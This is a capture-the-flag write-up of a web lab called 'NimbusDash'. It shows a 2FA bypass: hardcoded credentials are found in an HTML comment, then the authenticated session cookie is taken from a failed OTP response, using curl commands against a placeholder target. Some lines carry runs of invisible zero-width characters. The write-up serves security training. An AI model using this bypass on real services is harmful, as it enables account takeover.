← Back to Writeups
CUSTOMMediumWeb
Bookmark

Lab 62 — NimbusDash — 2FA Bypass via Premature Session Establishment

XESXOR9/2/20263 min read
#web#custom#medium#authentication_flow_bypass#http_header_inspection#premature_session_establishmen#set_cookie_analysis

Lab 62 — NimbusDash — 2FA Bypass via Premature Session Establishment

Platform: CUSTOM | Category: Web | Type: Challenge | Difficulty: Medium | OS: N/A | **Author: XESXOR Techniques: authentication_flow_bypass, http_header_inspection, premature_session_establishment, set_cookie_analysis

Summary

Walkthrough of the CUSTOM Web Lab 62 — NimbusDash — 2FA Bypass via Premature Session Establishment. Task: cloud monitoring platform with mandatory 2FA using TOTP. Solution: bypass 2FA by using the session cookie from a failed OTP verification response, which grants full authentication despite the 40

Description

NimbusDash is a cloud infrastructure monitoring platform used by DevOps teams to track server health, manage alerts, and coordinate incident response. The platform recently rolled out mandatory two-factor authentication for all accounts following a security audit recommendation.

You have been engaged to perform a security assessment of their authentication system. Your objective is to gain access to the administrative dashboard and retrieve sensitive platform credentials.

The development team assures you that their 2FA implementation is solid — every account requires a valid TOTP code from an authenticator app before access is granted. They've even disabled fallback authentication methods to ensure no shortcuts exist. ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

English summary: A cloud monitoring platform with mandatory 2FA. The goal is to bypass the two-factor authentication and access the admin dashboard to retrieve sensitive credentials.

Analysis

  1. Initial reconnaissance:
    • Inspected the login page HTML source
    • Found developer comments with hardcoded test credentials:
     html 
    <!--
  NimbusDash v3.2.1
  Development build — last updated by m.chen

  TODO: Remove before production deployment
  Default admin credentials for QA testing:
    Email: admin@nimbusdash.io
    Password: NimbusAdmin2024!

‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

 Jira: ND-1847 — "Remove hardcoded test credentials from login template"
 Status: Backlog (low priority)

-->


2. **Authentication flow analysis:**
- Login with valid credentials returns `{"success":true,"requires2FA":true,"redirect":"/verify-2fa"}`
- Server sets a session cookie (`connect.sid`) after password verification, BEFORE 2FA completion
- This is the first red flag — session should only be established after full authentication

3. **Key vulnerability discovered:**
- When submitting ANY OTP code to `/api/auth/verify-otp`, the server returns 403 Forbidden
- However, the response ALSO includes a `Set-Cookie` header with a NEW session cookie
- This new session cookie is FULLY AUTHENTICATED, despite the 403 error response
- The bug: backend sets the authenticated session in response headers BEFORE validating the OTP code in application logic
‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

## Solution

### Step 1: Obtain admin credentials from HTML source

View page source of the login page to find the hardcoded credentials in HTML comments.

### Step 2: Login with valid credentials

```bash
curl -c cookies.txt -X POST https://TARGET/api/auth/login \
-H "Content-Type: application/json" \
-d '{"email":"admin@nimbusdash.io","password":"NimbusAdmin2024!"}'

Response:

 json 
{"success":true,"requires2FA":true,"redirect":"/verify-2fa"}

Step 3: Submit any OTP code and capture the response cookie

‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

 bash 
curl -v -b cookies.txt -c cookies_verified.txt -X POST https://TARGET/api/auth/verify-otp \
  -H "Content-Type: application/json" \
  -d '{"code":"123456"}'

Response headers:

HTTP/1.1 403 Forbidden
Set-Cookie: connect.sid=s%3A24fRrBExrViBoniVyhqcUHmqKNhEI4Ij...; Path=/; HttpOnly

Response body:

 json 
{"success":false,"message":"Invalid verification code"}

Critical observation: The Set-Cookie header contains a fully authenticated session, even though the response body indicates failure! ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Step 4: Use the new cookie to access protected pages

 bash 
curl -b cookies_verified.txt https://TARGET/dashboard
curl -b cookies_verified.txt https://TARGET/admin/settings

The session from the failed 2FA response is now fully authenticated.

Step 5: Retrieve the flag

Access /admin/settings which contains the "Master API Key" with the flag:

 html 
<span class="secret-value">FLAG{REDACTED}</span>

‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Key Takeaways / Lessons

  • Mastering authentication_flow_bypass, http_header_inspection, premature_session_establishment, set_cookie_analysis was key to this challenge.
  • Always check for common misconfigurations and verify assumptions.

Crafted by XESXOR Research • 2026-04-27 • CUSTOM • Lab 62 — NimbusDash — 2FA Bypass via Premature Session Establishment • Difficulty: Medium